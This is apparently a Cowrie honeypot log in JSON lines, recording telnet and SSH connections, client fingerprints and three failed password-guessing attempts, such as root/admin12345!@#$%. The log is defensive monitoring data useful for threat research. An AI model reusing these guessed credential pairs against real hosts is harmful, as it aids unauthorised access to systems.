{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":32768,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ecd0b0c2aae","protocol":"telnet","message":"New connection: 104.245.105.2:32768 (10.17.0.5:23) [session: 6ecd0b0c2aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:01.070452Z"}
{"eventid":"cowrie.session.closed","duration":35.87031817436218,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:25.940258Z","src_ip":"64.41.88.162","session":"5769ab0ab498","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.90684914588928,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:26.272194Z","src_ip":"64.41.88.162","session":"fc5199a7576e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.741925477981567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:32.812253Z","src_ip":"104.245.105.2","session":"6ecd0b0c2aae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.135.232.42","src_port":36206,"dst_ip":"10.17.0.5","dst_port":23,"session":"620605de63f8","protocol":"telnet","message":"New connection: 5.135.232.42:36206 (10.17.0.5:23) [session: 620605de63f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:42.577807Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":49546,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad076dc0c33b","protocol":"ssh","message":"New connection: 88.205.172.170:49546 (10.17.0.5:22) [session: ad076dc0c33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:45.316948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:45.322260Z","src_ip":"88.205.172.170","session":"ad076dc0c33b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:45.485758Z","src_ip":"88.205.172.170","session":"ad076dc0c33b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ABC123!@#","message":"login attempt [user/ABC123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:46.165814Z","src_ip":"88.205.172.170","session":"ad076dc0c33b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:47.329333Z","src_ip":"88.205.172.170","session":"ad076dc0c33b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48254,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e4847fd5290","protocol":"telnet","message":"New connection: 104.245.105.2:48254 (10.17.0.5:23) [session: 5e4847fd5290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:50.925375Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":43034,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a724df92728","protocol":"telnet","message":"New connection: 64.41.88.162:43034 (159.203.135.109:23) [session: 1a724df92728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:51.713211Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":43604,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e60729a38fa","protocol":"telnet","message":"New connection: 64.41.88.162:43604 (159.203.135.109:23) [session: 0e60729a38fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:27:52.424569Z"}
{"eventid":"cowrie.session.closed","duration":31.232001066207886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:28:13.809667Z","src_ip":"5.135.232.42","session":"620605de63f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.85977268218994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:28:22.784968Z","src_ip":"104.245.105.2","session":"5e4847fd5290","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3682017326355,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:28:26.792667Z","src_ip":"64.41.88.162","session":"0e60729a38fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.281898975372314,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:28:28.995029Z","src_ip":"64.41.88.162","session":"1a724df92728","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39914,"dst_ip":"10.17.0.5","dst_port":23,"session":"108b85585960","protocol":"telnet","message":"New connection: 104.245.105.2:39914 (10.17.0.5:23) [session: 108b85585960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:28:32.507357Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37786,"dst_ip":"10.17.0.5","dst_port":23,"session":"18312e077999","protocol":"telnet","message":"New connection: 104.245.105.2:37786 (10.17.0.5:23) [session: 18312e077999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:28:46.495305Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47870,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b8161a6dc57","protocol":"telnet","message":"New connection: 104.245.105.2:47870 (10.17.0.5:23) [session: 9b8161a6dc57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:28:57.685942Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":49650,"dst_ip":"10.17.0.5","dst_port":23,"session":"62d0517bdbeb","protocol":"telnet","message":"New connection: 155.138.226.95:49650 (10.17.0.5:23) [session: 62d0517bdbeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:03.204041Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":37622,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a9e3fba5c23","protocol":"telnet","message":"New connection: 64.41.88.162:37622 (159.203.135.109:23) [session: 7a9e3fba5c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:06.934909Z"}
{"eventid":"cowrie.session.closed","duration":34.49592471122742,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:07.003151Z","src_ip":"104.245.105.2","session":"108b85585960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":38548,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac27c9956422","protocol":"telnet","message":"New connection: 64.41.88.162:38548 (159.203.135.109:23) [session: ac27c9956422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:08.092875Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.243","src_port":57430,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a50f7412f58","protocol":"ssh","message":"New connection: 14.103.127.243:57430 (10.17.0.5:22) [session: 3a50f7412f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:08.343554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:08.348032Z","src_ip":"14.103.127.243","session":"3a50f7412f58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:08.569042Z","src_ip":"14.103.127.243","session":"3a50f7412f58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:09.479792Z","src_ip":"14.103.127.243","session":"3a50f7412f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":45100,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe7854ee8003","protocol":"telnet","message":"New connection: 64.41.88.162:45100 (159.203.135.109:23) [session: fe7854ee8003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:15.482374Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":45380,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa6f05010e41","protocol":"telnet","message":"New connection: 64.41.88.162:45380 (159.203.135.109:23) [session: aa6f05010e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:15.751034Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":45554,"dst_ip":"159.203.135.109","dst_port":23,"session":"584e81a752bd","protocol":"telnet","message":"New connection: 64.41.88.162:45554 (159.203.135.109:23) [session: 584e81a752bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:15.929843Z"}
{"eventid":"cowrie.session.closed","duration":30.848984241485596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:17.344184Z","src_ip":"104.245.105.2","session":"18312e077999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82248306274414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:28.508301Z","src_ip":"104.245.105.2","session":"9b8161a6dc57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82770347595215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:34.031504Z","src_ip":"155.138.226.95","session":"62d0517bdbeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.01659870147705,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:45.109352Z","src_ip":"64.41.88.162","session":"ac27c9956422","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.384573459625244,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:45.319389Z","src_ip":"64.41.88.162","session":"7a9e3fba5c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.597081899642944,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:52.079314Z","src_ip":"64.41.88.162","session":"fe7854ee8003","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.56425929069519,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:53.315139Z","src_ip":"64.41.88.162","session":"aa6f05010e41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43814,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c192a42b494","protocol":"telnet","message":"New connection: 155.138.226.95:43814 (10.17.0.5:23) [session: 7c192a42b494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:55.653268Z"}
{"eventid":"cowrie.session.closed","duration":39.73639440536499,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:29:55.666129Z","src_ip":"64.41.88.162","session":"584e81a752bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56662,"dst_ip":"10.17.0.5","dst_port":23,"session":"b95d1bf09859","protocol":"telnet","message":"New connection: 104.245.105.2:56662 (10.17.0.5:23) [session: b95d1bf09859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:05.137008Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56678,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4d02a9077b9","protocol":"telnet","message":"New connection: 104.245.105.2:56678 (10.17.0.5:23) [session: c4d02a9077b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:07.245750Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":51154,"dst_ip":"159.203.135.109","dst_port":23,"session":"5569546e604b","protocol":"telnet","message":"New connection: 64.41.88.162:51154 (159.203.135.109:23) [session: 5569546e604b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:13.288035Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":51340,"dst_ip":"159.203.135.109","dst_port":23,"session":"068ed5592c4c","protocol":"telnet","message":"New connection: 64.41.88.162:51340 (159.203.135.109:23) [session: 068ed5592c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:13.532520Z"}
{"eventid":"cowrie.session.closed","duration":30.603918075561523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:26.257042Z","src_ip":"155.138.226.95","session":"7c192a42b494","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":36130,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6e4a4b13705","protocol":"telnet","message":"New connection: 64.41.88.162:36130 (159.203.135.109:23) [session: c6e4a4b13705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:28.872364Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":37126,"dst_ip":"159.203.135.109","dst_port":23,"session":"2af9c7784d56","protocol":"telnet","message":"New connection: 64.41.88.162:37126 (159.203.135.109:23) [session: 2af9c7784d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:29.776432Z"}
{"eventid":"cowrie.session.closed","duration":31.103196620941162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:38.348829Z","src_ip":"104.245.105.2","session":"c4d02a9077b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.35484790802002,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:39.491744Z","src_ip":"104.245.105.2","session":"b95d1bf09859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55106,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae51871bd69d","protocol":"telnet","message":"New connection: 104.245.105.2:55106 (10.17.0.5:23) [session: ae51871bd69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:40.669328Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.147.29.180","src_port":46970,"dst_ip":"10.17.0.5","dst_port":23,"session":"f016dacc3ed1","protocol":"telnet","message":"New connection: 115.147.29.180:46970 (10.17.0.5:23) [session: f016dacc3ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:47.198106Z"}
{"eventid":"cowrie.session.closed","duration":34.73497223854065,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:48.022735Z","src_ip":"64.41.88.162","session":"5569546e604b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.65366244316101,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:30:50.186056Z","src_ip":"64.41.88.162","session":"068ed5592c4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.967806100845337,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:01.165788Z","src_ip":"115.147.29.180","session":"f016dacc3ed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02861928939819,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:05.900879Z","src_ip":"64.41.88.162","session":"c6e4a4b13705","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.82232427597046,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:07.598614Z","src_ip":"64.41.88.162","session":"2af9c7784d56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:08.349287Z","src_ip":"14.103.127.243","session":"3a50f7412f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":42548,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b51316b5967","protocol":"ssh","message":"New connection: 88.205.172.170:42548 (10.17.0.5:22) [session: 8b51316b5967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:16.417652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:16.425138Z","src_ip":"88.205.172.170","session":"8b51316b5967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:16.595861Z","src_ip":"88.205.172.170","session":"8b51316b5967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12345!@#$%","message":"login attempt [root/admin12345!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:17.277445Z","src_ip":"88.205.172.170","session":"8b51316b5967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:18.443769Z","src_ip":"88.205.172.170","session":"8b51316b5967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":47064,"dst_ip":"10.17.0.5","dst_port":23,"session":"d53fa88f50e6","protocol":"telnet","message":"New connection: 155.138.226.95:47064 (10.17.0.5:23) [session: d53fa88f50e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:22.469830Z"}
{"eventid":"cowrie.session.closed","duration":45.31545305252075,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:25.984626Z","src_ip":"104.245.105.2","session":"ae51871bd69d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":47768,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8c9efa36f0c","protocol":"telnet","message":"New connection: 155.138.226.95:47768 (10.17.0.5:23) [session: e8c9efa36f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:34.912644Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43886,"dst_ip":"10.17.0.5","dst_port":23,"session":"5213db96a6aa","protocol":"telnet","message":"New connection: 155.138.226.95:43886 (10.17.0.5:23) [session: 5213db96a6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:43.248716Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43890,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b4abf45b30b","protocol":"telnet","message":"New connection: 155.138.226.95:43890 (10.17.0.5:23) [session: 8b4abf45b30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:31:48.193035Z"}
